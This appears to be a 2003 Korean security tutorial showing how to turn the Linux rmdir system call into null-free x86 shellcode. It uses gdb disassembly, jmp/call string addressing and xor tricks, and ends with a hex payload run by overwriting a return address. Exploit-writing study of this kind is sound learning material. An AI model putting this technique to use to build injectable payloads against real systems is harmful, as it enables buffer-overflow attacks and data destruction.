Security

rmdir 시스템 콜 (system call) 을 16진수 코드로 구현하기

  • jroh

rmdir 시스템 콜 16진수 코드짜기 writer : ttongfly@realskulls.org2003. 9. 23 homepage : http://ttongfly.realskulls.org 테스트 환경은 다음과 같습니다.

[root@localhost bof]# uname -a

 Linux localhost.localdomain 2.4.20-7 #1 목 4월 10 11:40:17 KST 2003 i686 i686 i386 GNU/Linux

[root@localhost bof]# gcc -v

 Reading specs from /usr/lib/gcc-lib/i386-hancom-linux/3.2.3/specs

 Configured with: ../configure –prefix=/usr –mandir=/usr/share/man –infodir=/usr/share/info –enable-shared –enable-threads=posix –disable-checking –with-system-zlib –enable-__cxa_atexit –host=i386-hancom-linux

 Thread model: posix

 gcc version 3.2.3 20030422 (Hancom Linux 3.2.3)

이제부터 rmdir () 시스템콜을 16진수로 짜보도록 하겠습니다.

[root@localhost bof]# cat rmdir1.c

 main()

 {

 rmdir(“test”);

 }

[root@localhost bof]# gcc rmdir1.c -o rmdir1 -mpreferred-stack-boundary=2 -static

[root@localhost bof]# mkdir test

[root@localhost bof]# dir -al

 합계 412

 drwxr-xr-x3 root root 40969월 23 01:27 .

 drwxr-x— 17 root root 40969월 23 01:26 ..

 -rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1

 -rw-r–r–1 root root 269월 23 01:24 rmdir1.c

 drwxr-xr-x2 root root 40969월 23 01:27 test

[root@localhost bof]# ./rmdir1

[root@localhost bof]# dir -al

 합계 408

 drwxr-xr-x2 root root 40969월 23 01:27 .

 drwxr-x— 17 root root 40969월 23 01:26 ..

 -rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1

 -rw-r–r–1 root root 269월 23 01:24 rmdir1.c

자 프로그램이 정상적으로 test란 디렉토리를 지운것을 확인할 수 있습니다.^^ 그럼 프로그램을 gdb를 이용하여 덤프를 구하도록 하겠습니다.

[root@localhost bof]# gdb -q rmdir1

 (gdb) disass main

 Dump of assembler code for function main:

 0x80481d0 main: push %ebp

 0x80481d1 main+1: mov%esp,%ebp

 0x80481d3 main+3: push $0x80896e8

 0x80481d8 main+8: call 0x804cb30 rmdir

 0x80481dd main+13:add$0x4,%esp

 0x80481e0 main+16:leave

 0x80481e1 main+17:ret

 0x80481e2 main+18:nop

 0x80481e3 main+19:nop

 End of assembler dump.

(gdb) disass rmdir

 Dump of assembler code for function rmdir:

 0x804cb30 rmdir:mov%ebx,%edx

 0x804cb32 rmdir+2:mov0x4(%esp,1),%ebx

 0x804cb36 rmdir+6:mov$0x28,%eax

 0x804cb3b rmdir+11: int$0x80

 0x804cb3d rmdir+13: mov%edx,%ebx

 0x804cb3f rmdir+15: cmp$0xfffff001,%eax

 0x804cb44 rmdir+20: jae0x804d080 __syscall_error

 0x804cb4a rmdir+26: ret

 0x804cb4b rmdir+27: nop

 End of assembler dump.

 (gdb)

자 프로그램을 분석해보면^^

0x80481d3 main+3: push $0x80896e8

 0x80481d8 main+8: call 0x804cb30 rmdir

0x80896e8의 값을 스택에 넣고 rmdir을 호출함을 알 수 있습니다.

(gdb) x/16c 0x80896e8

 0x80896e8 _IO_stdin_used+4: 116 \’t\’ 101 \’e\’ 115 \’s\’ 116 \’t\’ 0 \’\\0\’47 \’/\’100 \’d\’ 101 \’e\’

 0x80896f0 _IO_stdin_used+12:118 \’v\’ 47 \’/\’110 \’n\’ 117 \’u\’ 108 \’l\’ 108 \’l\’ 0 \’\\0\’0 \’\\0\’

 (gdb)

0x80896e8에는 test라는 값이 들어있음을 알 수 있습니다.^^

0x804cb30 rmdir:mov%ebx,%edx

 0x804cb32 rmdir+2:mov0x4(%esp,1),%ebx

 0x804cb36 rmdir+6:mov$0x28,%eax

 0x804cb3b rmdir+11: int$0x80

이 부분에서는 %esp를 기준으로 해서 4바이트 높은 위치의 값을 %ebx 레지스터에 넣습니다.

 아까 푸시한 0x80896e8 의 값이겠죠? test

(gdb) b *rmdir+2

 Breakpoint 1 at 0x804cb32

 (gdb) r

 Starting program: /root/bof/rmdir1

Breakpoint 1, 0x0804cb32 in rmdir ()

(gdb) x/16x $esp+4

 0xbffff904: 0xe80x960x080x080x380xf90xff0xbf

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

 0xbffff90c: 0xa80x820x040x080x010x000x000x00

 (gdb)

아까 test값이 저장된 0x80896e8이 저장되어 있음을 알 수 있습니다.

(gdb) b *rmdir+6

 Breakpoint 1 at 0x804cb36

 (gdb) r

 Starting program: /root/bof/rmdir1

Breakpoint 1, 0x0804cb36 in rmdir ()

 (gdb) info reg ebx

 ebx0x80896e8134780648

%ebx레지스터에도 0x80896e8값이 고스란히 잘 들어있군요 ^^; 우엥

 %eax에는 0x28을 넣어 rmdir 의 시스템 칼을 호출합니다.

정리해보면

 %eax에는 $0x28( rmdir 의 시스템 콜 function값 )

 %ebx에는 0x80896e8값.. 음.. 삭제할 디렉토리명인 “test”의 값이죠

bang1575님의 문서처럼 여기서 int $0x80 하면 프로그램이 실행되는 것이겠죠?

이제 기본적으로 test 라는 디렉토리를 삭제하는 어셈코드를 짜보겠습니다.^^

[root@localhost bof]# cat rmdir2.s

 .LC0:

 .string “test”

 .global main

 main:

 movl$0x28, %eax

 movl$.LC0, %ebx

 int $0x80

 movl$0x01, %eax

 movl$0x00, %ebx

 int $0x80

 ret

[root@localhost bof]# gcc -o rmdir2 rmdir2.s

[root@localhost bof]# dir -al

 합계 428

 drwxr-xr-x3 root root 40969월 23 01:50 .

 drwxr-x— 17 root root 40969월 23 01:45 ..

 -rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1

 -rw-r–r–1 root root 269월 23 01:24 rmdir1.c

 -rwxr-xr-x1 root root 94049월 23 01:50 rmdir2

 -rw-r–r–1 root root1399월 23 01:50 rmdir2.s

 drwxr-xr-x2 root root 40969월 23 01:40 test

[root@localhost bof]# ./rmdir2

[root@localhost bof]# dir -al

 합계 424

 drwxr-xr-x2 root root 40969월 23 01:51 .

 drwxr-x— 17 root root 40969월 23 01:51 ..

 -rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1

 -rw-r–r–1 root root 269월 23 01:24 rmdir1.c

 -rwxr-xr-x1 root root 94049월 23 01:50 rmdir2

 -rw-r–r–1 root root1399월 23 01:50 rmdir2.s

 [root@localhost bof]#

성공적으로 test 디렉토리가 삭제된것을 확인할 수 있습니다.^^ 직접 디렉토리명을 지정해 줄 수 있게 어셈코드를 만들어보겠습니다.

[root@localhost bof]# cat rmdir3.s

 .global main

 main:

 jmpstrings

 start:popl%esi

 movl$0x28, %eax

 movl%esi, %ebx

 int$0x80

 movl$0x01, %eax

 movl$0x00, %ebx

 int$0x80

 strings:call start

 .string “test”

[root@localhost bof]# gcc -o rmdir3 rmdir3.s

[root@localhost bof]# dir -al

 합계 444

 drwxr-xr-x3 root root 40969월 23 01:56 .

 drwxr-x— 17 root root 40969월 23 01:56 ..

 -rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1

 -rw-r–r–1 root root 269월 23 01:24 rmdir1.c

 -rwxr-xr-x1 root root 94049월 23 01:50 rmdir2

 -rw-r–r–1 root root1399월 23 01:50 rmdir2.s

 -rwxr-xr-x1 root root 94509월 23 01:56 rmdir3

 -rw-r–r–1 root root1779월 23 01:56 rmdir3.s

 drwxr-xr-x2 root root 40969월 23 01:56 test

 [root@localhost bof]# ./rmdir3

[root@localhost bof]# dir -al

 합계 440

 drwxr-xr-x2 root root 40969월 23 01:56 .

 drwxr-x— 17 root root 40969월 23 01:56 ..

 -rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1

 -rw-r–r–1 root root 269월 23 01:24 rmdir1.c

 -rwxr-xr-x1 root root 94049월 23 01:50 rmdir2

 -rw-r–r–1 root root1399월 23 01:50 rmdir2.s

 -rwxr-xr-x1 root root 94509월 23 01:56 rmdir3

 -rw-r–r–1 root root1779월 23 01:56 rmdir3.s

 [root@localhost bof]#

프로그램이 정상적으로 실행됨을 알 수 있습니다.

objdump를 통해 16진수 코드로 만들어 보겠습니다.^^

[root@localhost bof]# objdump -d rmdir3

rmdir3: file format elf32-i386 ……. 여러가지 등등 080482f4 main: 80482f4: eb 16 jmp804830c strings

080482f6 start:

 80482f6: 5epop%esi

 80482f7: b8 28 00 00 00mov$0x28,%eax

 80482fc: 89 f3 mov%esi,%ebx

 80482fe: cd 80 int$0x80

 8048300: b8 01 00 00 00mov$0x1,%eax

 8048305: bb 00 00 00 00mov$0x0,%ebx

 804830a: cd 80 int$0x80

0804830c strings:

 804830c: e8 e5 ff ff ffcall 80482f6 start

 8048311: 74 65 je 8048378 _IO_stdin_used+0x1c

 8048313: 73 74 jae8048389 _IO_stdin_used+0x2d

 8048315: 00 90 90 55 89 e5 add%dl,0xe5895590(%eax)

……. 여러가지 등등

[root@localhost bof]#

음 -_-; bang1575님의 문서처럼 \\x00들이 무지하게 들어가있군요.. 고쳐보도록 하지요..

mov$0x28,%eax – xor %eax, %eax

 movb $0x28, %al

mov$0x1,%eax – xor %eax, %eax

 movb $0x01, %al

mov$0x0,%ebx – xor %ebx, %ebx

[root@localhost bof]# cat rmdir4.s

 .global main

 main:

 jmp strings

 start:popl%esi

 xor %eax, %eax

 movb$0x28, %al

 movl%esi, %ebx

 int $0x80

 xor %eax, %eax

 movb$0x01, %al

 xor %ebx, %ebx

 int $0x80

 strings:call start

 .string “test”

[root@localhost bof]# gcc -o rmdir4 rmdir4.s

[root@localhost bof]# objdump -d rmdir4

……. 여러가지 등등 080482f4 main: 80482f4: eb 11 jmp8048307 strings

080482f6 start:

 80482f6: 5epop%esi

 80482f7: 31 c0 xor%eax,%eax

 80482f9: b0 28 mov$0x28,%al

 80482fb: 89 f3 mov%esi,%ebx

 80482fd: cd 80 int$0x80

 80482ff: 31 c0 xor%eax,%eax

 8048301: b0 01 mov$0x1,%al

 8048303: 31 db xor%ebx,%ebx

 8048305: cd 80 int$0x80

08048307 strings:

 8048307: e8 ea ff ff ffcall 80482f6 start

 804830c: 74 65 je 8048373 _IO_stdin_used+0x1b

 804830e: 73 74 jae8048384 _IO_stdin_used+0x2c

 8048310: 00 90 90 90 55 89 add%dl,0x89559090(%eax)

……. 여러가지 등등

[root@localhost bof]# mkdir test

[root@localhost bof]# dir -al

 합계 460

 drwxr-xr-x3 root root 40969월 23 02:06 .

 drwxr-x— 17 root root 40969월 23 02:05 ..

 -rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1

 -rw-r–r–1 root root 269월 23 01:24 rmdir1.c

 -rwxr-xr-x1 root root 94049월 23 01:50 rmdir2

 -rw-r–r–1 root root1399월 23 01:50 rmdir2.s

 -rwxr-xr-x1 root root 94509월 23 01:56 rmdir3

 -rw-r–r–1 root root1779월 23 01:56 rmdir3.s

 -rwxr-xr-x1 root root 94509월 23 02:06 rmdir4

 -rw-r–r–1 root root2059월 23 02:05 rmdir4.s

 drwxr-xr-x2 root root 40969월 23 02:06 test

 [root@localhost bof]# ./rmdir4

[root@localhost bof]# dir -al

 합계 456

 drwxr-xr-x2 root root 40969월 23 02:06 .

 drwxr-x— 17 root root 40969월 23 02:05 ..

 -rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1

 -rw-r–r–1 root root 269월 23 01:24 rmdir1.c

 -rwxr-xr-x1 root root 94049월 23 01:50 rmdir2

 -rw-r–r–1 root root1399월 23 01:50 rmdir2.s

 -rwxr-xr-x1 root root 94509월 23 01:56 rmdir3

 -rw-r–r–1 root root1779월 23 01:56 rmdir3.s

 -rwxr-xr-x1 root root 94509월 23 02:06 rmdir4

 -rw-r–r–1 root root2059월 23 02:05 rmdir4.s

 [root@localhost bof]#

16진 코드상에 \\x00도 없고, 프로그램도 정상적으로 작동합니다. 위의 표시된 16진 코드를 따와 실행해보면

[root@localhost bof]# cat rmdir5.c

 char print_code[]=

 “\\xeb\\x11\\x5e\\x31\\xc0\\xb0\\x28\\x89\\xf3\\xcd\\x80\\x31\\xc0\\xb0\\x01\\x31\\xdb\\xcd\\x80\\xe8\\xea\\xff\\xff\\xff”

 “test”;

main() { int *ret; ret = (int *)&ret+2; (*ret) = (int)print_code; }

[root@localhost bof]# gcc -o rmdir5 rmdir5.c

[root@localhost bof]# mkdir test

[root@localhost bof]# dir -al

 합계 476

 drwxr-xr-x3 root root 40969월 23 02:13 .

 drwxr-x— 17 root root 40969월 23 02:08 ..

 -rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1

 -rw-r–r–1 root root 269월 23 01:24 rmdir1.c

 -rwxr-xr-x1 root root 94049월 23 01:50 rmdir2

 -rw-r–r–1 root root1399월 23 01:50 rmdir2.s

 -rwxr-xr-x1 root root 94509월 23 01:56 rmdir3

 -rw-r–r–1 root root1779월 23 01:56 rmdir3.s

 -rwxr-xr-x1 root root 94509월 23 02:06 rmdir4

 -rw-r–r–1 root root2059월 23 02:05 rmdir4.s

 -rwxr-xr-x1 root root 95369월 23 02:13 rmdir5

 -rw-r–r–1 root root2009월 23 02:13 rmdir5.c

 drwxr-xr-x2 root root 40969월 23 02:13 test

[root@localhost bof]# ./rmdir5

[root@localhost bof]# dir -al

 합계 472

 drwxr-xr-x2 root root 40969월 23 02:13 .

 drwxr-x— 17 root root 40969월 23 02:08 ..

 -rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1

 -rw-r–r–1 root root 269월 23 01:24 rmdir1.c

 -rwxr-xr-x1 root root 94049월 23 01:50 rmdir2

 -rw-r–r–1 root root1399월 23 01:50 rmdir2.s

 -rwxr-xr-x1 root root 94509월 23 01:56 rmdir3

 -rw-r–r–1 root root1779월 23 01:56 rmdir3.s

 -rwxr-xr-x1 root root 94509월 23 02:06 rmdir4

 -rw-r–r–1 root root2059월 23 02:05 rmdir4.s

 -rwxr-xr-x1 root root 95369월 23 02:13 rmdir5

 -rw-r–r–1 root root2009월 23 02:13 rmdir5.c

 [root@localhost bof]#

자 정상적으로.. test디렉토리가 삭제되었습니다.^^

mkdir() 함수를 이용한 것보다 쉽고, 어셈에서 시스템 칼 호출하는부분이 0x27에서 0x28로

 바뀐것 밖에는 없지만.. 그냥 한번 해봤습니다.

좀 더 정확히 익힐 차원에서^^ 그럼 이만^^


📎

포맷스트링 (format string) 버그 활용 정리 – 03. 11. 17Security